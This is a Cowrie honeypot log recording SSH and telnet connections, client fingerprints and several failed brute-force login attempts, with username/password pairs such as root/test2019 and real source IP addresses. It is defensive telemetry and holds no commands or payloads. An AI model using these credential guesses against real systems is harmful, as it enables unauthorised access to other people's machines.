{"eventid":"cowrie.session.closed","duration":31.814401626586914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:56.705068Z","src_ip":"144.79.218.12","session":"390107085121","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.56992244720459,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:56.849503Z","src_ip":"144.79.218.12","session":"2a54fed4b8fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38262,"dst_ip":"10.17.0.5","dst_port":23,"session":"284c399be0e2","protocol":"telnet","message":"New connection: 144.79.218.12:38262 (10.17.0.5:23) [session: 284c399be0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:58.606533Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44230,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d12a6011600","protocol":"telnet","message":"New connection: 144.79.218.12:44230 (10.17.0.5:23) [session: 8d12a6011600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:59.908509Z"}
{"eventid":"cowrie.session.closed","duration":32.1280472278595,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:00.782329Z","src_ip":"144.79.218.12","session":"bbc923798ea5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44244,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f31c077005b","protocol":"telnet","message":"New connection: 144.79.218.12:44244 (10.17.0.5:23) [session: 4f31c077005b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:04.048461Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44254,"dst_ip":"10.17.0.5","dst_port":23,"session":"abb90d3c5acd","protocol":"telnet","message":"New connection: 144.79.218.12:44254 (10.17.0.5:23) [session: abb90d3c5acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:04.848904Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47826,"dst_ip":"159.203.135.109","dst_port":22,"session":"48aee51b75ae","protocol":"ssh","message":"New connection: 159.203.92.129:47826 (159.203.135.109:22) [session: 48aee51b75ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:05.300588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:05.305733Z","src_ip":"159.203.92.129","session":"48aee51b75ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:05.328332Z","src_ip":"159.203.92.129","session":"48aee51b75ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alec","password":"alec","message":"login attempt [alec/alec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:05.371111Z","src_ip":"159.203.92.129","session":"48aee51b75ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44258,"dst_ip":"10.17.0.5","dst_port":23,"session":"a161ac8f5499","protocol":"telnet","message":"New connection: 144.79.218.12:44258 (10.17.0.5:23) [session: a161ac8f5499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:05.936690Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:06.380344Z","src_ip":"159.203.92.129","session":"48aee51b75ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.28787136077881,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:08.567194Z","src_ip":"144.79.218.12","session":"aec857feac34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.370100259780884,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:08.942049Z","src_ip":"144.79.218.12","session":"6bfb17524f04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38308,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f0e8baa10c3","protocol":"telnet","message":"New connection: 144.79.218.12:38308 (10.17.0.5:23) [session: 1f0e8baa10c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:16.646180Z"}
{"eventid":"cowrie.session.closed","duration":31.508493900299072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:18.078193Z","src_ip":"144.79.218.12","session":"ca2d8cf00526","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.61799383163452,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:18.142950Z","src_ip":"144.79.218.12","session":"6ded9b94696a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":49152,"dst_ip":"10.17.0.5","dst_port":23,"session":"e40ad446382a","protocol":"telnet","message":"New connection: 5.61.90.139:49152 (10.17.0.5:23) [session: e40ad446382a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:21.075255Z"}
{"eventid":"cowrie.session.closed","duration":32.09775948524475,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:21.742657Z","src_ip":"144.79.218.12","session":"f0d9da968d90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.07818269729614,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:22.199357Z","src_ip":"144.79.218.12","session":"86502507080c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.30222940444946,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:28.595850Z","src_ip":"144.79.218.12","session":"9fa33bb30880","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":53568,"dst_ip":"159.203.135.109","dst_port":22,"session":"346f71a5e5de","protocol":"ssh","message":"New connection: 68.183.236.1:53568 (159.203.135.109:22) [session: 346f71a5e5de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:29.379901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:29.385273Z","src_ip":"68.183.236.1","session":"346f71a5e5de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:29.632866Z","src_ip":"68.183.236.1","session":"346f71a5e5de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48864,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d91bbc6b81f","protocol":"telnet","message":"New connection: 144.79.218.12:48864 (10.17.0.5:23) [session: 7d91bbc6b81f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:30.473286Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"test2019","message":"login attempt [root/test2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:30.644970Z","src_ip":"68.183.236.1","session":"346f71a5e5de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48872,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2dec93bad37","protocol":"telnet","message":"New connection: 144.79.218.12:48872 (10.17.0.5:23) [session: d2dec93bad37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:30.773914Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:31.892232Z","src_ip":"68.183.236.1","session":"346f71a5e5de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48876,"dst_ip":"10.17.0.5","dst_port":23,"session":"cff983827c5b","protocol":"telnet","message":"New connection: 144.79.218.12:48876 (10.17.0.5:23) [session: cff983827c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:32.955323Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48888,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d673950922e","protocol":"telnet","message":"New connection: 144.79.218.12:48888 (10.17.0.5:23) [session: 2d673950922e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:33.029863Z"}
{"eventid":"cowrie.session.closed","duration":34.675864458084106,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:33.282278Z","src_ip":"144.79.218.12","session":"284c399be0e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48892,"dst_ip":"10.17.0.5","dst_port":23,"session":"340c464544ce","protocol":"telnet","message":"New connection: 144.79.218.12:48892 (10.17.0.5:23) [session: 340c464544ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:33.439110Z"}
{"eventid":"cowrie.session.closed","duration":33.72359919548035,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:33.631990Z","src_ip":"144.79.218.12","session":"8d12a6011600","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.57045888900757,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:35.175796Z","src_ip":"144.79.218.12","session":"f69c295e9a52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.75645327568054,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:36.804790Z","src_ip":"144.79.218.12","session":"4f31c077005b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.375181436538696,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:38.223907Z","src_ip":"144.79.218.12","session":"abb90d3c5acd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.19097375869751,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:42.127559Z","src_ip":"144.79.218.12","session":"a161ac8f5499","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":37500,"dst_ip":"159.203.135.109","dst_port":22,"session":"53217e44ffa5","protocol":"ssh","message":"New connection: 152.32.213.101:37500 (159.203.135.109:22) [session: 53217e44ffa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:47.967093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:47.970984Z","src_ip":"152.32.213.101","session":"53217e44ffa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":47064,"dst_ip":"10.17.0.5","dst_port":23,"session":"469e948dbce5","protocol":"telnet","message":"New connection: 144.79.218.12:47064 (10.17.0.5:23) [session: 469e948dbce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:48.150639Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:48.194327Z","src_ip":"152.32.213.101","session":"53217e44ffa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zz12345678","message":"login attempt [root/Zz12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:49.103760Z","src_ip":"152.32.213.101","session":"53217e44ffa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:50.328798Z","src_ip":"152.32.213.101","session":"53217e44ffa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57868,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a7338342382","protocol":"ssh","message":"New connection: 159.203.92.129:57868 (159.203.135.109:22) [session: 9a7338342382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:50.335984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:50.340348Z","src_ip":"159.203.92.129","session":"9a7338342382","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:50.344971Z","src_ip":"159.203.92.129","session":"9a7338342382","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aleksandar","password":"123456","message":"login attempt [aleksandar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:50.358325Z","src_ip":"159.203.92.129","session":"9a7338342382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.40619492530823,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:51.052220Z","src_ip":"144.79.218.12","session":"1f0e8baa10c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:51.364515Z","src_ip":"159.203.92.129","session":"9a7338342382","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":55214,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ca4df20deb6","protocol":"telnet","message":"New connection: 144.79.218.12:55214 (10.17.0.5:23) [session: 5ca4df20deb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:55.284340Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":55220,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff1a496485fe","protocol":"telnet","message":"New connection: 144.79.218.12:55220 (10.17.0.5:23) [session: ff1a496485fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:56.945885Z"}
{"eventid":"cowrie.session.closed","duration":36.54689383506775,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:25:57.622025Z","src_ip":"5.61.90.139","session":"e40ad446382a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":41788,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f97601973e9","protocol":"telnet","message":"New connection: 144.79.218.12:41788 (10.17.0.5:23) [session: 6f97601973e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:02.175675Z"}
{"eventid":"cowrie.session.closed","duration":33.82243728637695,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:04.295593Z","src_ip":"144.79.218.12","session":"7d91bbc6b81f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.53855586051941,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:06.312375Z","src_ip":"144.79.218.12","session":"d2dec93bad37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.28070521354675,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:06.719708Z","src_ip":"144.79.218.12","session":"340c464544ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.8287250995636,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:08.783927Z","src_ip":"144.79.218.12","session":"cff983827c5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.484841108322144,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:09.514564Z","src_ip":"144.79.218.12","session":"2d673950922e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":47626,"dst_ip":"10.17.0.5","dst_port":23,"session":"a36a3a472d34","protocol":"telnet","message":"New connection: 144.79.218.12:47626 (10.17.0.5:23) [session: a36a3a472d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:10.109232Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":50648,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3e51aeee227","protocol":"ssh","message":"New connection: 91.134.240.52:50648 (159.203.135.109:22) [session: b3e51aeee227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:26:22.532463Z"}
